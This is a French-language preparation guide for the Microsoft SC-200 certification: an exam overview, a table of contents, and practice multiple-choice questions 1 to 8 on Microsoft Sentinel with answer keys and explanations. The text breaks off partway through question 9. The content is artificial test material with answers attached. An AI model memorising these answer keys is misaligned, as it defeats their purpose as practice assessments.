MICROSOFT SECURITY OPERATIONS ANALYST · EXAMEN SC-200

# GUIDE COMPLET DE PRÉPARATION À LA CERTIFICATION MICROSOFT SC-200

450+ QCM corrigés, exercices KQL et examens blancs

**451**
QCM uniques corrigés

**100**
exercices KQL

**3 × 50**
questions d'examens blancs

Aligné sur le référentiel officiel « Compétences mesurées à compter du 21 octobre 2026 »
Microsoft Sentinel · Microsoft Defender XDR · Microsoft Defender for Cloud · Microsoft Entra ID · Microsoft Purview · KQL

Dernière vérification documentaire : 2026-10-12

Support de formation original et indépendant. Les questions ne reproduisent aucune question de l'examen officiel. Microsoft, Microsoft Sentinel, Microsoft Defender et Microsoft Entra sont des marques du groupe Microsoft.

# Table des matières


**Présentation de la certification et mode d'emploi du guide** 3

**Module 1 — Gestion d'un environnement Microsoft Sentinel (questions 1 à 75)** 6

1.1 Architecture, portail Defender et espaces de travail 6
1.2 Rôles et contrôle d'accès (RBAC) 12
1.3 Connecteurs de données et ingestion 17
1.4 Rétention, niveaux de données, coûts et optimisation SOC 24
1.5 Règles d'analyse et détections 32
1.6 Automatisation : règles d'automatisation et playbooks 43
1.7 Classeurs, chasse, UEBA, watchlists et data lake 51

**Module 2 — Détection et investigation avec Microsoft Defender XDR (questions 76 à 175)** 63

2.1 Portail Defender XDR : incidents, alertes, corrélation et notifications 63
2.2 Defender for Endpoint : configuration et politiques 71
2.3 Defender for Endpoint : investigation et réponse sur les appareils 81
2.4 Investigation et réponse automatisées (AIR) et interruption d'attaque 91
2.5 Defender for Office 365 : messagerie et collaboration 96
2.6 Defender for Identity : menaces sur Active Directory 107
2.7 Defender for Cloud Apps : applications SaaS et Shadow IT 116
2.8 Microsoft Entra ID : identités compromises 123
2.9 Microsoft Purview, journaux Microsoft Graph et activités Microsoft 365 132
2.10 Règles de détection personnalisées Defender XDR 137

**Module 3 — Kusto Query Language (KQL) — exercices avancés (questions 176 à 276)** 140

3.1 Compréhension de requêtes existantes 140
3.2 Correction de requêtes erronées 158
3.3 Création de requêtes à partir d'un besoin 176
3.4 Corrélation entre plusieurs tables 199
3.5 Chasse aux menaces sur journaux simulés 223

**Module 4 — Réponse aux incidents et investigation avancée (questions 277 à 351)** 245

4.1 Cycle de vie, triage, priorisation et communication 245
4.2 Hameçonnage et compromission de messagerie 254
4.3 Force brute, pulvérisation et compromission de comptes hybrides 261
4.4 Rançongiciels et activités précurseurs 266
4.5 Exfiltration, scripts, persistance et mouvement latéral 274
4.6 Confinement, éradication, restauration et preuves 283
4.7 Réponse en environnement hybride 290
4.8 Cartographie MITRE ATT&CK 292
4.9 Compléments : préparation et analyse 297

**Module 5 — Microsoft Defender for Cloud et protection des ressources (questions 352 à 401)** 301

5.1 Architecture, plans et posture de sécurité 301
5.2 Alertes, investigation et réponse dans le cloud 317
5.3 Defender for Cloud et Defender XDR : périmètres 329
5.4 Compléments : déploiement et détections avancées 334

**Module 6 — Scénarios transversaux et préparation à l'examen (questions 402 à 451)** 338

6.1 Scénario A — Compte Microsoft Entra ID compromis 338
6.2 Scénario B — Hameçonnage suivi d'une exécution de processus 342
6.3 Scénario C — Activité de type rançongiciel sur plusieurs terminaux 346
6.4 Scénario D — Connexion depuis une localisation inhabituelle 350
6.5 Scénario E — Règle analytique Sentinel générant trop de faux positifs 353
6.6 Scénario F — Activité détectée simultanément par plusieurs produits Defender 358
6.7 Scénario G — Exfiltration potentielle de données 362
6.8 Scénario H — Requête KQL aux résultats incomplets 366
6.9 Scénario I — Incident cloud nécessitant une investigation croisée 369
6.10 Scénario J — Automatisation de réponse mal configurée 373

**Examens blancs** ..... **378**
Examen blanc n° 1 (50 questions) ..... 379
Corrigé de l'examen blanc n° 1 ..... 394
Examen blanc n° 2 (50 questions) ..... 399
Corrigé de l'examen blanc n° 2 ..... 414
Examen blanc n° 3 (50 questions) ..... 420
Corrigé de l'examen blanc n° 3 ..... 435
**Fiches de révision** ..... **440**
**Glossaire français – anglais** ..... **447**
**Index des notions techniques** ..... **451**
**Bibliographie officielle** ..... **453**
**Rapport de contrôle qualité** ..... **465**

# Présentation de la certification et mode d'emploi du guide

## La certification Microsoft SC-200

La certification **Microsoft Certified: Security Operations Analyst Associate** est obtenue en réussissant l'examen **SC-200 : Microsoft Security Operations Analyst**. Elle s'adresse aux analystes SOC qui réduisent le risque de l'organisation en **triant** les alertes, en **répondant** aux incidents, en **chassant** les menaces et en **concevant des détections**, à l'aide de Microsoft Defender XDR, Microsoft Sentinel, Microsoft Entra ID, Microsoft Purview et Microsoft Defender for Cloud.

Informations publiées par Microsoft Learn (page « Guide d'étude de l'examen SC-200 », consultée le 12 octobre 2026) :

- **Score de réussite : 700** (sur une échelle de 1 à 1 000).
- Les certifications Associate **expirent chaque année** et se renouvellent gratuitement par une évaluation en ligne sur Microsoft Learn.
- La **version anglaise** de l'examen est mise à jour en premier ; les versions localisées le sont **environ huit semaines plus tard**. Si votre langue n'est pas disponible, un temps supplémentaire de 30 minutes peut être demandé.
- La plupart des questions portent sur des fonctionnalités en **disponibilité générale** ; des fonctionnalités en préversion couramment utilisées peuvent apparaître.
- Un **bac à sable d'examen** et une **évaluation d'entraînement gratuite** sont proposés par Microsoft.

> **Référentiel utilisé par ce guide.** Le guide est aligné sur les **compétences mesurées à compter du 21 octobre 2026** (le journal des modifications publié par Microsoft indique une modification « mineure » de l'objectif d'ingestion des données par rapport à la version précédente). Si vous passez l'examen dans une langue autre que l'anglais peu après cette date, vérifiez sur Microsoft Learn quelle version des compétences s'applique à votre session.

### Les trois domaines officiels

| Domaine officiel | Poids | Principaux objectifs |
|---|---|---|
| **1. Gérer un environnement d'opérations de sécurité** | 40–45 % | Automatisation Defender XDR et Sentinel (notifications, ajustement des alertes, fonctionnalités avancées et stratégies MDE dont ASR, AIR, interruption automatique d'attaque, groupes d'appareils, règles d'automatisation, playbooks) ; configuration de la plateforme Sentinel (rôles, rétention Analytics / data lake / XDR, classeurs, optimisations SOC) ; ingestion (connecteurs, Windows Security Events via AMA, WEF, Syslog et CEF via AMA, journaux Azure par paramètres de diagnostic et Azure Policy, indicateurs de menace, tables personnalisées) ; détections (règles de détection personnalisées Defender XDR, règles d'analyse planifiées, NRT, TI et ML, couverture MITRE ATT&CK, anomalies). |
| **2. Répondre aux incidents de sécurité** | 35–40 % | Alertes et incidents Defender XDR (Defender for Office 365, Purview, Defender for Cloud, Defender for Cloud Apps, Entra ID, Defender for Identity, Sentinel), IA agentique et Security Copilot, attaques multi-étapes et mouvement latéral, gestion des cas ; réponse avec Defender for Endpoint (chronologie, réponse dynamique, package d'investigation, entités et preuves, interruption d'attaque) ; activités Microsoft 365 (Purview Audit, recherche de contenu eDiscovery, journaux d'activité Microsoft Graph). |
| **3. Effectuer la chasse aux menaces** | 20–25 % | Chasse avec Defender XDR (choix des tables, KQL, requêtes de chasse avancée, analyse des menaces, graphes de chasse et rayon d'impact, Sentinel Graph) ; chasse avec la plateforme Sentinel (requêtes de chasse, jobs KQL du data lake, règles de synthèse, notebooks et serveur MCP de Sentinel). |

## Organisation du guide

Le guide suit la répartition pédagogique demandée en six modules, chacun rattaché aux domaines officiels question par question (mention « Référentiel officiel » de chaque question). La matrice ci-dessous résulte du décompte automatique réalisé par le script de génération.

| Module | Cible | Produit | Débutant | Interm. | Avancé | Obj. 1 Gérer | Obj. 2 Répondre | Obj. 3 Chasse |
|---|---|---|---|---|---|---|---|---|
| Module 1 — Gestion d'un environnement Microsoft Sentinel | 75 | **75** | 17 | 41 | 17 | 66 | 0 | 9 |
| Module 2 — Détection et investigation avec Microsoft Defender XDR | 100 | **100** | 27 | 52 | 21 | 23 | 71 | 6 |
| Module 3 — Kusto Query Language (KQL) — exercices avancés | 100 | **101** | 20 | 47 | 34 | 0 | 0 | 101 |
| Module 4 — Réponse aux incidents et investigation avancée | 75 | **75** | 17 | 40 | 18 | 3 | 72 | 0 |
| Module 5 — Microsoft Defender for Cloud et protection des ressources | 50 | **50** | 12 | 30 | 8 | 5 | 45 | 0 |
| Module 6 — Scénarios transversaux et préparation à l'examen | 50 | **50** | 3 | 29 | 18 | 14 | 18 | 18 |
| **Total** | **450** | **451** | **96** | **239** | **116** | **111** | **206** | **134** |

Objectif 1 : 111 questions (25 %) · Objectif 2 : 206 questions (46 %) · Objectif 3 : 134 questions (30 %)

**Remarque sur la pondération.** La répartition en modules imposée par le cahier des charges (100 questions Defender XDR, 75 questions de réponse aux incidents) donne plus de poids au domaine 2 que l'examen officiel. Pour compenser, les **examens blancs** sont construits selon la pondération officielle (21 questions du domaine 1, 18 du domaine 2, 11 du domaine 3 sur 50) et les fiches de révision insistent sur les objectifs de configuration du domaine 1.

### Format de chaque question

Chaque question comporte : un titre, le domaine (module du guide), le niveau (Débutant, Intermédiaire, Avancé), le rattachement au référentiel officiel, l'énoncé, quatre propositions (cinq pour les questions à réponses multiples, qui indiquent le nombre de réponses attendues), puis un **encadré de correction** : bonne réponse, correction détaillée, analyse de chaque proposition incorrecte, explication technique, exemple pratique éventuel, point à retenir et références Microsoft Learn vérifiées.

Les exercices du **module 3 (KQL)** ajoutent, lorsque c'est utile, le **résultat attendu**, les **hypothèses liées au schéma de données** et une **amélioration proposée**. Les blocs de code sont étiquetés :

- **KQL — Microsoft Sentinel / Log Analytics** : requête validée avec le schéma des tables Log Analytics (colonne temporelle `TimeGenerated`) ;
- **KQL — Chasse avancée Microsoft Defender XDR** : requête validée avec le schéma de la chasse avancée (colonne temporelle `Timestamp`) ;
- **KQL — requête volontairement erronée** : requête à corriger dans les exercices de correction ;
- **Requête KQL** (dans les propositions) : étiquette neutre, pour ne pas révéler la bonne réponse.

Toutes les requêtes marquées Sentinel ou Defender XDR ont été analysées par la bibliothèque officielle **Kusto.Language** de Microsoft, avec les schémas de tables publiés sur Microsoft Learn (voir le rapport de contrôle qualité en fin de document).

### Conseils d'utilisation

1. Lisez la présentation de chaque module, puis traitez les questions **sans regarder la correction** (masquez l'encadré vert).

2. Notez vos réponses, comparez, et relisez systématiquement l'analyse des propositions incorrectes : c'est là que se trouvent les pièges classiques.
3. Reproduisez les requêtes KQL dans un espace de démonstration (Log Analytics Demo, chasse avancée d'un locataire d'essai) : la pratique est indispensable.
4. Passez un examen blanc en conditions réelles (100 minutes, sans documentation) après les modules 1 à 3, puis les deux autres en fin de préparation.
5. Utilisez les fiches de révision et le glossaire dans les derniers jours.

> **Avertissement.** Ce guide est un support de formation original et indépendant. Il ne reproduit aucune question de l'examen officiel et ne constitue pas une garantie de réussite. Les fonctionnalités Microsoft évoluent rapidement : en cas de doute, la documentation Microsoft Learn fait foi. Certaines fonctionnalités dépendent de licences (par exemple Defender for Office 365 Plan 2, Microsoft Entra ID P2, Defender for Servers Plan 2, Defender CSPM, Security Copilot) ou sont en préversion ; cela est signalé dans les explications.

# Module 1 — Gestion d'un environnement Microsoft Sentinel (questions 1 à 75)

Ce module couvre la **plateforme Microsoft Sentinel** : architecture et portail Defender, rôles et contrôle d'accès, connecteurs et ingestion (AMA, DCR, WEF, Syslog/CEF, journaux Azure, renseignement sur les menaces, tables personnalisées), niveaux de données et rétention (Analytics, data lake, XDR), optimisation des coûts et recommandations SOC, règles d'analyse (planifiées, NRT, Fusion, TI, anomalies, ATT&CK), automatisation (règles d'automatisation et playbooks), classeurs, chasse, UEBA, watchlists, notebooks, serveur MCP et graphe Sentinel.

Il correspond principalement au domaine officiel **« Gérer un environnement d'opérations de sécurité »**, et pour sa partie chasse au domaine **« Effectuer la chasse aux menaces »**.

## 1.1 Architecture, portail Defender et espaces de travail

### Question n° 1 — Rôle de Microsoft Sentinel dans l'architecture SecOps

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Débutant
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Un RSSI demande à l'équipe SOC de résumer la fonction principale de Microsoft Sentinel par rapport aux autres produits Microsoft Security. Quelle description est la plus exacte ?

**A.** Un service d'identité qui calcule le risque des connexions et applique l'accès conditionnel.

**B.** Un SIEM et une solution SOAR cloud natifs qui collectent des données de multiples sources (Microsoft et tierces), détectent les menaces par des règles d'analyse et automatisent la réponse.

**C.** Une solution de gestion de la posture cloud qui calcule un Secure Score à partir des recommandations Azure, AWS et GCP.

**D.** Un agent EDR installé sur les postes Windows qui bloque les malwares en temps réel.

**Bonne réponse : B**

#### Correction détaillée

Microsoft Sentinel est le **SIEM** (Security Information and Event Management) et le **SOAR** (Security Orchestration, Automation and Response) de Microsoft. Il s'appuie sur un espace de travail Log Analytics pour stocker les journaux, propose des connecteurs de données pour des sources Microsoft et tierces, des règles d'analyse (planifiées, NRT, Fusion, anomalies, renseignement sur les menaces), des classeurs, des outils de chasse et des capacités d'automatisation (règles d'automatisation et playbooks Logic Apps).

#### Analyse des réponses incorrectes

- **A.** Il s'agit de Microsoft Entra ID Protection et de l'accès conditionnel Microsoft Entra.
- **C.** Cette description correspond à Microsoft Defender for Cloud (CSPM), pas à Sentinel.
- **D.** C'est le rôle de Microsoft Defender for Endpoint (et de l'antivirus Microsoft Defender), pas de Sentinel, qui n'installe aucun agent de protection.

#### Explication technique

Sentinel est désormais intégré au portail Microsoft Defender (plateforme d'opérations de sécurité unifiée) : incidents, chasse avancée et automatisation sont unifiés avec Defender XDR. Microsoft a annoncé qu'après le 31 mars 2027, Sentinel ne sera plus pris en charge dans le portail Azure et ne sera disponible que dans le portail Defender. Sentinel ne remplace pas les produits de protection (EDR, protection de la messagerie, CSPM) : il **agrège et corrèle** leurs signaux avec des journaux tiers (pare-feu, proxy, Syslog, SaaS).

**Point à retenir pour l'examen :** Sentinel = SIEM + SOAR cloud natif reposant sur Log Analytics ; Defender XDR = protection et détection étendues des charges Microsoft 365/terminaux/identités ;

Defender for Cloud = CSPM + protection des charges cloud.

**Référence officielle**

- Qu'est-ce que Microsoft Sentinel gestion des informations et des événements de sécurité (SIEM) ? — https://learn.microsoft.com/fr-fr/azure/sentinel/overview
- Microsoft Sentinel dans le portail Microsoft Defender — https://learn.microsoft.com/fr-fr/azure/sentinel/microsoft-sentinel-defender-portal

## Question n° 2 — Prérequis de déploiement de Microsoft Sentinel

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Débutant
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Vous devez activer Microsoft Sentinel pour une nouvelle filiale. Quelle ressource Azure doit exister (ou être créée) pour pouvoir activer Sentinel ?

**A.** Un Event Hub dédié dans la même région.

**B.** Un compte de stockage Azure en mode Data Lake Storage Gen2.

**C.** Un cluster Azure Data Explorer.

**D.** Un espace de travail Log Analytics, sur lequel la solution Microsoft Sentinel est activée.

**Bonne réponse : D**

**Correction détaillée**

Microsoft Sentinel s'active **sur un espace de travail Log Analytics** : toutes les tables (SecurityEvent, SigninLogs, CommonSecurityLog, etc.) y sont stockées et interrogées en KQL. Un même espace ne peut héberger qu'une seule instance de Sentinel.

**Analyse des réponses incorrectes**

- **A.** Event Hubs peut transporter des données vers des outils tiers, mais n'est pas un prérequis de Sentinel.
- **B.** Le stockage des journaux SIEM repose sur un espace de travail Log Analytics ; un compte de stockage peut servir à l'export ou à l'archivage externe, pas à l'activation de Sentinel.
- **C.** ADX peut être utilisé pour de l'analyse complémentaire, mais Sentinel s'active sur un espace Log Analytics.

**Explication technique**

La conception de l'espace (nombre d'espaces, région, souveraineté des données, séparation des données opérationnelles et de sécurité, coûts) est une décision d'architecture. Microsoft recommande en général de limiter le nombre d'espaces de travail et d'utiliser le RBAC de contexte de ressource ou de niveau table pour séparer les accès, sauf exigence réglementaire ou multi-locataire. Une fois connecté au portail Defender, un espace « principal » est désigné ; d'autres espaces peuvent être ajoutés.

**Point à retenir pour l'examen :** Pas d'espace Log Analytics, pas de Sentinel : l'activation se fait sur un espace existant ou nouvellement créé.

**Référence officielle**

- Qu'est-ce que Microsoft Sentinel gestion des informations et des événements de sécurité (SIEM) ? — https://learn.microsoft.com/fr-fr/azure/sentinel/overview
- Concevoir une architecture d'espace de travail Log Analytics — https://learn.microsoft.com/fr-fr/azure/azure-monitor/logs/workspace-design

## Question n° 3 — Portail d'exploitation recommandé

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Débutant
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Votre organisation utilise encore Microsoft Sentinel dans le portail Azure. Quelle affirmation correspond à la stratégie actuelle annoncée par Microsoft ?

**A.** Le portail Azure reste le seul portail permettant de créer des règles d'analyse planifiées.

**B.** Le portail Defender ne permet que la consultation ; toute configuration doit se faire dans Azure.

**C.** Microsoft recommande la transition vers le portail Microsoft Defender ; après le 31 mars 2027, Sentinel ne sera plus pris en charge dans le portail Azure.

**D.** Le portail Defender est réservé aux clients disposant d'une licence Microsoft 365 E5.

**Bonne réponse : C**

**Correction détaillée**

La documentation Microsoft Learn indique qu'après le **31 mars 2027**, Microsoft Sentinel ne sera plus pris en charge dans le portail Azure et sera disponible uniquement dans le portail Microsoft Defender. Les clients sont invités à planifier leur transition dès maintenant.

**Analyse des réponses incorrectes**

- **A.** Les règles d'analyse se gèrent également dans le portail Defender (Microsoft Sentinel > Configuration > Analytique).
- **B.** La gestion des tables, de la rétention, des règles et de l'automatisation est disponible dans le portail Defender.
- **D.** La connexion de Sentinel au portail Defender ne dépend pas d'une licence E5 ; des scénarios « Sentinel seul » sont pris en charge.

**Explication technique**

Dans le portail Defender, Sentinel bénéficie de la file d'incidents unifiée avec Defender XDR, de la chasse avancée sur les tables XDR et Sentinel, de la gestion des tables et de la rétention, de la gestion des cas, du data lake et du graphe Sentinel. Certaines fonctions évoluent lors de la connexion (par exemple, la création d'incidents est assurée par le moteur de corrélation de Defender XDR).

**Point à retenir pour l'examen :** Date à retenir : 31 mars 2027 — fin de la prise en charge de Sentinel dans le portail Azure ; le portail Defender devient l'unique interface.

**Référence officielle**

- Microsoft Sentinel dans le portail Microsoft Defender — https://learn.microsoft.com/fr-fr/azure/sentinel/microsoft-sentinel-defender-portal
- Rôles et autorisations dans la plateforme Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/roles

## Question n° 4 — Création d'incidents après connexion au portail Defender

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Après avoir connecté votre espace Sentinel au portail Microsoft Defender, un analyste constate que les alertes générées par une règle planifiée Sentinel sont regroupées avec des alertes Defender for Endpoint dans un même incident. Quel mécanisme explique ce comportement ?

**A.** Le moteur de corrélation de Defender XDR crée et regroupe les incidents à partir des alertes Sentinel et Defender, au lieu de la logique de création d'incidents propre à Sentinel.

**B.** La règle planifiée a été configurée en mode « Fusion », ce qui fusionne automatiquement ses alertes avec celles de MDE.

**C.** Le connecteur Defender XDR copie toutes les alertes Sentinel dans Defender for Endpoint.

**D.** Une règle d'automatisation Sentinel a fusionné les incidents.

**Bonne réponse : A**

**Correction détaillée**

Une fois Sentinel intégré au portail Defender, **Defender XDR devient responsable de la création et de la corrélation des incidents** pour les alertes Sentinel comme pour les alertes Defender. Il peut donc rattacher l'alerte d'une règle planifiée à un incident contenant des alertes MDE partageant des entités (appareil, utilisateur, IP).

**Analyse des réponses incorrectes**

- **B.** « Fusion » est un type de règle distinct ; une règle planifiée ne bascule pas en mode Fusion.
- **C.** Les alertes Sentinel ne sont pas « copiées » dans MDE ; c'est le moteur de corrélation unifié qui les associe.
- **D.** Les règles d'automatisation ne fusionnent pas des incidents ; elles changent statut, propriétaire, gravité, ajoutent des balises/tâches ou lancent des playbooks.

**Explication technique**

Ce fonctionnement apporte une vue unique de l'attaque (attack story). Les paramètres de regroupement d'alertes des règles Sentinel restent pris en compte, mais la décision finale de corrélation est prise par Defender XDR. Les règles « Création d'incidents Microsoft » de Sentinel ne sont pas utilisées dans ce mode : Defender XDR gère directement les alertes de ses propres produits.

**Point à retenir pour l'examen :** Portail Defender = moteur de corrélation XDR unique pour les alertes Sentinel et Defender ; attendez-vous à des incidents multi-produits.

**Référence officielle**

- Microsoft Sentinel dans le portail Microsoft Defender — https://learn.microsoft.com/fr-fr/azure/sentinel/microsoft-sentinel-defender-portal
- Corrélation des alertes et fusion des incidents dans le portail Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/alerts-incidents-correlation

## Question n° 5 — Nombre d'instances Sentinel par espace de travail

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Débutant
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Un ingénieur propose d'activer deux instances de Microsoft Sentinel distinctes sur le même espace de travail Log Analytics afin de séparer les équipes SOC Europe et Amérique. Que répondez-vous ?

**A.** C'est possible si les deux instances utilisent des groupes de ressources différents.

**B.** C'est impossible : un espace de travail Log Analytics ne peut héberger qu'une seule instance de Microsoft Sentinel ; la séparation doit passer par le RBAC ou plusieurs espaces.

**C.** C'est possible si l'une des instances est connectée au portail Defender et l'autre au portail Azure.

**D.** C'est possible uniquement avec une licence Sentinel « Enterprise ».

**Bonne réponse : B**

**Correction détaillée**

Sentinel s'active **une seule fois par espace de travail**. Pour séparer des équipes, on utilise le RBAC Azure (rôles Sentinel sur le groupe de ressources), le RBAC de contexte de ressource ou au niveau table, ou une architecture multi-espaces.

**Analyse des réponses incorrectes**

- **A.** Sentinel est attaché à l'espace lui-même ; le groupe de ressources ne permet pas de créer une seconde instance sur le même espace.
- **C.** Le portail d'accès ne change pas la relation un espace / une instance.
- **D.** Il n'existe pas de licence permettant plusieurs instances sur un même espace.

### Explication technique

Une architecture multi-espaces se justifie par la souveraineté (régions), la séparation légale entre filiales, les MSSP (Azure Lighthouse) ou les exigences de facturation. Le portail Defender permet de gérer plusieurs espaces Sentinel ; l'interrogation croisée est possible avec la fonction `workspace()` en KQL.

**Point à retenir pour l'examen :** Un espace = au plus une instance Sentinel. Séparez les accès avec le RBAC plutôt qu'en multipliant les espaces sans nécessité.

### Référence officielle

- Concevoir une architecture d'espace de travail Log Analytics — https://learn.microsoft.com/fr-fr/azure/azure-monitor/logs/workspace-design
- Qu'est-ce que Microsoft Sentinel gestion des informations et des événements de sécurité (SIEM) ? — https://learn.microsoft.com/fr-fr/azure/sentinel/overview

## Question n° 6 — Requête inter-espaces de travail

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Un MSSP exploite deux espaces Sentinel (« ws-eu » et « ws-us »). Un analyste veut, dans une seule requête KQL, compter les échecs de connexion Entra ID des deux espaces. Quelle approche est correcte ?

**A.** C'est impossible : une requête KQL ne peut porter que sur un seul espace.

**B.** Créer une règle d'automatisation qui copie les incidents d'un espace vers l'autre.

**C.** Utiliser l'opérateur `lookup` en précisant le nom de l'abonnement Azure.

**D.** Utiliser `union` avec la fonction `workspace()` pour interroger la table SigninLogs de chaque espace dans la même requête.

**Bonne réponse : D**

### Correction détaillée

La fonction `workspace("nom")` référence un autre espace Log Analytics accessible à l'utilisateur ; combinée à `union`, elle permet une analyse inter-espaces.

### Analyse des réponses incorrectes

- **A.** Les requêtes inter-espaces sont prises en charge (fonction `workspace()`), dans la limite des autorisations de l'utilisateur.
- **B.** Les règles d'automatisation agissent sur les incidents ; elles ne permettent pas d'interroger des journaux.
- **C.** `lookup` enrichit une table par une autre ; il ne sélectionne pas un espace de travail.

### Explication technique

Les requêtes inter-espaces respectent le RBAC : l'utilisateur doit avoir accès en lecture à chaque espace. Les règles d'analyse planifiées peuvent aussi interroger plusieurs espaces (dans une limite documentée du nombre d'espaces). Pour un MSSP, Azure Lighthouse permet de gérer les locataires clients depuis le locataire du fournisseur.

### Exemple pratique

KQL

```kql
union workspace("ws-eu").SigninLogs, workspace("ws-us").SigninLogs
| where TimeGenerated > ago(1d)
| where ResultType != "0"
| summarize Echecs = count() by TenantId, UserPrincipalName
| top 20 by Echecs
```

**Point à retenir pour l'examen :** Inter-espaces : `workspace("nom").Table` + `union` ; l'accès dépend des droits sur chaque espace.

**Référence officielle**

- Concevoir une architecture d'espace de travail Log Analytics — https://learn.microsoft.com/fr-fr/azure/azure-monitor/logs/workspace-design
- opérateur union — https://learn.microsoft.com/fr-fr/kusto/query/union-operator?view=microsoft-sentinel

## Question n° 7 — Données stockées pour les incidents Sentinel

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Un analyste interroge la table SecurityIncident pour compter les incidents fermés au cours du mois et obtient un nombre bien supérieur au nombre réel d'incidents. Quelle est la cause la plus probable ?

**A.** Les incidents fermés sont recréés chaque jour par les règles d'analyse.

**B.** La table SecurityIncident contient aussi toutes les alertes Defender for Endpoint.

**C.** Chaque modification d'un incident ajoute une nouvelle ligne dans SecurityIncident ; il faut ne conserver que la dernière version de chaque incident (par exemple avec `arg_max`).

**D.** La table SecurityIncident est en plan Basic et renvoie des doublons.

**Bonne réponse : C**

**Correction détaillée**

SecurityIncident est **historisée** : chaque création ou mise à jour (statut, propriétaire, classification, commentaire…) produit une nouvelle ligne. Pour un état courant, on regroupe par IncidentNumber (ou IncidentName) et on conserve la ligne la plus récente avec `arg_max(LastModifiedTime, *)` ou `arg_max(TimeGenerated, *)`.

**Analyse des réponses incorrectes**

- **A.** Une règle ne recrée pas un incident fermé ; elle peut éventuellement le rouvrir si l'option de réouverture est activée.
- **B.** Les alertes sont dans SecurityAlert (côté Sentinel) ; SecurityIncident ne contient que des enregistrements d'incidents.
- **D.** Le plan de table ne crée pas de doublons ; le comportement vient du modèle d'historisation.

**Explication technique**

Ce modèle permet de mesurer les délais (MTTA/MTTR) en comparant CreatedTime, FirstModifiedTime et ClosedTime. Les classeurs « Security operations efficiency » s'appuient sur ce principe.

**Exemple pratique**

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
SecurityIncident
| where TimeGenerated > ago(30d)
| summarize arg_max(LastModifiedTime, *) by IncidentNumber
| where Status == "Closed"
| summarize Incidents = count() by Classification
```

**Point à retenir pour l'examen :** SecurityIncident (comme SecurityAlert pour les mises à jour d'état) est historisée : toujours dédupliquer avec `arg_max(...)` par identifiant d'incident.

**Référence officielle**

- Incident de sécurité — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/securityincident
- arg_max() (fonction d'agrégation) — https://learn.microsoft.com/fr-fr/kusto/query/arg-max-aggregation-function?view=microsoft-sentinel

## Question n° 8 — Connexion de Microsoft Sentinel au portail Defender — prérequis

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Vous préparez la connexion d'un espace de travail Sentinel au portail Microsoft Defender, dans un locataire qui comporte plusieurs espaces Sentinel. Quelle combinaison d'autorisations correspond aux prérequis documentés pour l'administrateur qui réalise l'opération ?

**A.** Le rôle Propriétaire (attribution inconditionnelle) sur l'abonnement — ou Administrateur de l'accès utilisateur et Microsoft Sentinel Contributor — ainsi qu'au moins le rôle Administrateur de la sécurité dans Microsoft Entra ID.

**B.** Uniquement le rôle Microsoft Sentinel Playbook Operator.

**C.** Une licence Microsoft 365 E5 attribuée à l'administrateur, sans autre rôle.

**D.** Uniquement le rôle Microsoft Sentinel Reader sur l'espace.

**Bonne réponse : A**

#### Correction détaillée

D'après la page « Connecter Microsoft Sentinel au portail Microsoft Defender », la connexion exige **Owner** (attribution inconditionnelle, étendue abonnement) **ou User Access Administrator + Microsoft Sentinel Contributor**, et, lorsque le locataire compte plus d'un espace Sentinel, au moins **Security Administrator** dans Microsoft Entra ID.

#### Analyse des réponses incorrectes

- **B.** Ce rôle permet seulement de lister et d'exécuter manuellement des playbooks.
- **C.** La documentation précise que ni Defender XDR ni une licence E5 ne sont nécessaires pour utiliser Sentinel dans le portail Defender ; ce sont des rôles qui sont requis.
- **D.** Ce rôle suffit pour consulter Sentinel dans le portail Defender une fois la connexion faite, pas pour réaliser la connexion.

#### Explication technique

Après la connexion, les autorisations RBAC Azure existantes continuent de s'appliquer dans le portail Defender (Reader pour consulter, Contributor pour agir sur les incidents…). Le portail Defender prend en charge un seul locataire Entra, un espace **principal** et des espaces secondaires. La documentation indique aussi que, dans de nombreux cas, les clients qui ont intégré Sentinel après le 1er juillet 2025 sont automatiquement connectés au portail Defender. Pour Defender for Cloud, il est recommandé d'utiliser le connecteur « Tenant-based Microsoft Defender for Cloud » sur l'espace principal.

**Point à retenir pour l'examen :** Connexion Sentinel → Defender : Owner (ou User Access Administrator + Sentinel Contributor) sur l'abonnement + Security Administrator Entra si plusieurs espaces. Aucune licence E5 requise.

#### Référence officielle

- Connecter Microsoft Sentinel au portail Microsoft Defender — https://learn.microsoft.com/fr-fr/azure/sentinel/microsoft-sentinel-onboard
- Microsoft Sentinel dans le portail Microsoft Defender — https://learn.microsoft.com/fr-fr/azure/sentinel/microsoft-sentinel-defender-portal

## 1.2 Rôles et contrôle d'accès (RBAC)

### Question n° 9 — Rôle minimal pour gérer les incidents

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Débutant

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Un analyste N1 doit pouvoir consulter les données et les classeurs, et modifier les incidents (statut, propriétaire, commentaires), sans pouvoir créer ni modifier des règles d'analyse. Quel rôle intégré attribuer ?

**A.** Microsoft Sentinel Contributor.

**B.** Microsoft Sentinel Responder.

**C.** Microsoft Sentinel Reader.

